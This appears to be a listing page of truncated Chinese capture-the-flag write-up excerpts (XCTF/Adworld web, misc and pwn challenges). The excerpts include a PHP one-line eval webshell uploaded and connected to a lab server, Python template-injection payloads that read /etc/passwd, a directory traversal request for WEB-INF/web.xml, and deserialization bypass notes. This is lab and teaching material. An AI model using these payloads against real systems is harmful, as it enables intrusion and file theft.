攻防世界 WEB 高手进阶区 NSCTF web2 Writeup 题目介绍 题目考点 php基本函数语法 加密解密函数 base64_decode().str_rot13() 字符串反转函数 strrev() 返回字符串一部分函数 substr() Writeup 进入题目直接给出php源码 <?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($…
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git源码泄露 url输入 http://220.249.52.134:56659/.git/ 发现果然有git源码泄露 使用 GitHacker 获取源码 看到有flag.php, 尝试打开查看,里面啥也没 打开index.php代码审计 了解assert()函数的使用: 总结一句话就是:assert(…
攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易.但是模板引擎也拓宽了我们的攻击面.注入到模板中的代码可能会引发RCE或者XSS. 众所周知ssti要被{{}}包括.接下来的代码均要包括在ssti中. 1.几种常用于ssti…
攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file,…
攻防世界 WEB 高手进阶区 tinyctf-2014 NaNNaNNaNNaN-Batman Writeup 题目介绍 题目考点 了解js代码(eval函数.splice函数) 了解正则 Writeup 下载附件打开,如图,目测是 一段js代码 复制的源码: <script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit…
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<…
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /welcome.txt /hints.txt /flag.txt flag in /fllllllllllllag /welcome.txt render /hints.txt md5(cookie_secret+md5(filename)) 分析 进入第一个文件 flag.txt,发现好像提示文件名…
攻防世界 WEB 高手进阶区 upload1 Writeup 题目介绍 题目考点 文件上传漏洞 一句话木马 中国菜刀类工具的使用 Writeup 使用burpsuite抓包 可见只是对上传文件的后缀进行可一个简单判断 准备一句话木马文件, 后缀改为 jpg 格式 <?php @eval($_POST['pass']);?> 使用burpsuite抓包,更改文件后缀为php 使用蚁剑连接 http://220.249.52.134:55798/upload/1610623427.a.php 目录…
攻防世界 WEB 高手进阶区 unserialize3 Writeup 题目介绍 题目考点 PHP反序列化 __wakeup漏洞 Writeup 题名 unserialize 是反序列化函数名 了解一下什么是序列化和反序列化 当在php中创建了一个对象后,可以通过 serialize() 函数把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用.与 serialize() 相反的就是反序列化函数 unserialize() ,它可以将一个字符串转变为相对应的php对象. 在序列化过程中会…
攻防世界 WEB 高手进阶区 PHP2 Writeup 题目介绍 题目考点 url 二次解码 index.phps 文件(第一次使用dirsearch可能扫不到,需要加到工具字典里) php 简单语法 Writeup 进入题目 研究一番无果,开始拿 dirsearch 扫描目录 依次尝试访问,最后在访问 index.phps 时发现源码泄露 右键查看源码 分析PHP源码 ,不出意外,那个 key 的内容就是 Flag if("admin"===$_GET[id]) { echo(&qu…
攻防世界 WEB 高手进阶区 XCTF 4th-CyberEarth ics-06 Writeup 题目介绍 题目考点 掌握暴力破解手段 Writeup 打开链接 http://220.249.52.134:36745 根据提示,直接进报表中心(事实上,一开始没看提示,我都点了一遍,只有报表中心有返回页面,尴尬) 看到 http://220.249.52.134:36745/index.php?id=1 尝试将 id= 任意字符等,试了一波,发现最后都变成了数字 尝试使用 burpsuite 进…
攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操作 F12 看源码 url 输入 http://220.249.52.134:37877/source.php 得到 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { /…
题目 首先发现源码泄露 /index.phps 查看源代码 即: <?php if("admin"===$_GET[id]) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "<p>Access granted!</p>…
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod 777 XXX加上./XXX 运行一下 静态调试 打开IDA-64,一路默认,看到main函数: 可以看到执行的功能是先输入字符串长度,然后输入字符串,接着会返回指定长度的输入字符串.如果一开始输入的数字小于16,会指定长度为16.可以看到很明显的栈溢出漏洞.但是又有些不一样,看大神WP才知道需要s…
1.一开始就是一个时钟界面 2.扫描目录发现/list 目录 打开是后台登陆,看了一下源码,也没发现什么,焦灼... 3.百度上搜了一波wp,发现原来在css里面藏了东西 后台的背景图片居然是这样读取的,估计可能有文件读取漏洞, 另外,抓包发现页面是jsp写的 尝试读取配置文件web.xml Payload: http://111.198.29.45:32744/loadimage?fileName=../../WEB-INF/web.xml 本地用notepad++打开 配置文件里面写的是St…
CISCN final 打开页面 扫描目录 Robots.txt Config.txt 代码审计 <?php class master { private $path; private $name; function __construct() { } function stream_open($path) { ,)) ; $a=$array[]; parse_str($array[],$array); if(isset($array['path'])) { $this->path=$arra…
python模板注入 看了一堆文章,也不是看的很明白,反而把题目做出来了 大概思路如下 简单探测 http://111.198.29.45:42611/{{7+7}} 返回 说明服务器执行了{{}}里面这一段代码 利用{{ config.items() }}可以查看服务器的配置信息 读取passwd信息 {{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }} 执行成功 Python3代码 执行下面这一段代码 {…
1.flag_in_your_hand && flag_in_your_hand1 下载,解压后 打开index文件,直接点击get flag错误,输入其他点击也同样 打开js文件,在其中找到正确的Token条件 可知Token里要填的是a数列里的ASCII码得到的字符,代码如下: 1 2 3 4 5 6 7 8 9 a=[118, 104, 102, 120, 117, 108, 119, 124, 48, 123, 101, 120] b=list() for i in a:     …
攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup 题目介绍 题目考点 隐写术 摩斯密码 Writeup 下载附件是PDF文件打开,研究一番,无果 用winhex打开,检索关键字flag 应该是base64编码,解码,无果,并不是flag 虽然没有flag,但是得到提示 摩斯密码 用火狐打开pdf文件,仔细查看源码发现特殊字段 BABA BBB BA BBA ABA AB B AAB ABAA AB B AA BBB BA AAA B…
攻防世界 Misc 新手练习区 ext3 bugku Writeup 题目介绍 题目考点 WinHex工具的使用 linux磁盘挂载mount命令 Writeup 下载附件拖进winhex分析一下,查找文本 flag 关键字 我这里将附件重命名为linux,检索一下关键字flag strings linux | grep flag 挂载在/mnt/hgfs/a目录下 进入/mnt/hgfs/a/O7avZhikgKgbF,看到flag 看到flag应该是base64编码,解码得到flag…
攻防世界 Misc 新手练习区 坚持60s Writeup 题目介绍 题目考点 java反编译 jd-gui 的使用 Writeup 下载附件并打开 kali执行命令 java -jar 9dc125bf1b84478cb14813d9bed6470c.jar 看到是一个小游戏,尝试玩了一下,死的很快,但是几次死的时间不同 直接拖到 jd-gui 中反编译,基本遍历了一遍代码,最后在一个游戏类中发现flag 看见这个flag有点像base64编码,解码得 最终得到flag flag{DajiDa…
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int __cdecl main() { int buf; // [esp+2Ch] [ebp-6Ch] int v2; // [esp+30h] [ebp-68h] int v3; // [esp+34h] [ebp-64h] int v4; // [esp+38h] [ebp-60h] int v5;…
web新手练习区一至四题 第一题view_source: 题目说右键不管用了,我们先获取在线场景来看一看,我们看到这样一个网页,并且右键确实点了没什么反应,而用到右键一般就是查看网页源码 用快捷键(F12或是Ctrl+shift+i)打开网页源码即可找到flag flag即为: cyberpeace{c602a5e3d03c281beac2a5b0b3610ae6} 第二题get_post: 需要用到工具:hackbar http通常使用两种请求方法是get和post也就是题目的名称所提示的一样…
打开网址 根据题意点开报表中心(因为其他的点开都一样,不信你试试) 会看见id =1 想到burp爆破id 所以打开burp抓包(不会抓包的百度 或者看我web新手区,有一题就有抓包 我说的很详细) 右击 然后你会发现 会发现id=2333时候length不一样 注意 不要一个个找 length点一下会排序... ok搞定…
---恢复内容开始--- 昂,我很菜这是网上大神的教程. https://blog.csdn.net/silence1_/article/details/89741733 ---恢复内容结束---…
  1. 题目描述:X老师想让小明同学查看一个网页的源代码,但小明却发现鼠标右键不管用了.  http://111.198.29.45:53629 通过阅读题目描述分析,我们需要查看源码,但是鼠标右键不能用了,可知一定是通过js禁用了鼠标事件,这个时候有三个方向: 键盘F12可以查看源码: 禁用浏览器的js 在目标地址前面输入 ‘view-source:’查看 操作步骤 键盘F12 敲一下键盘上的F12,出现开发者工具: 点击查看器,可以看到整个DOM结构. 下方有个被注释的一串字符串,找到fl…
第一题 view_source 获取在线场景查看网页 打开页面之后首先考虑查看源代码,发现不能右击 根据题目的提示考虑使用view-source查看源代码,发现flag 第二题 get_post 获取在线场景查看网页 先使用GET方式提交a=1 提交完成之后出现了第二个要求,以POST方式提交b=2 这里使用的插件是hackbar,使用这个插件以POST方式提交b=2 提交完成之后拿到flag 第三题 robots 获取在线场景查看网页 一片空白,根据题目中的robots协议进行猜测 发现有个f…
弱认证:http://111.198.29.45:43769/ 打开是这个页面: 用户名输入1,密码输入2,试试看.会提示你用户名为admin.接下来用burp对密码进行爆破,发现弱口令0123456可跑出来,得到flag disabled_button:http://111.198.29.45:50438 disabled 属性规定禁用按钮. 被禁用的按钮既不可用,也不可点击.去掉disabled后,则可获取flag simple.php: http://111.198.29.45:31079…
1.查看主页面 2.查看其他页面,/welcome.txt http://111.198.29.45:39004/file?filename=/welcome.txt&filehash=9aeecdd1844b70a3c4c719d2303cfaeb /hints.txt http://111.198.29.45:39004/file?filename=/hints.txt&filehash=9226131c021e8a84f91c65972c94ca3b /flag.txt http:/…
第九题simple_php: 看题目说是php代码,那必定要用到php的知识,让我们先获取在线场景,得到如下网页 仔细看这个代码,意思大概是: 1.当a==0且a为真时输出flag1 2.当b为数字退出 3.当b>1234时输出flag2 这就需要利用到php弱类型的知识了(这里大约说一下,可以上网进一步了解) 当数字类型与字符串类型比较时,如果字符串开始部分有数字时会将数字部分转化为数字类型来和数字比较,如果字符串开始部分不存在数字会将字符串转化为0来和数字比较.(适用于<,>,==,…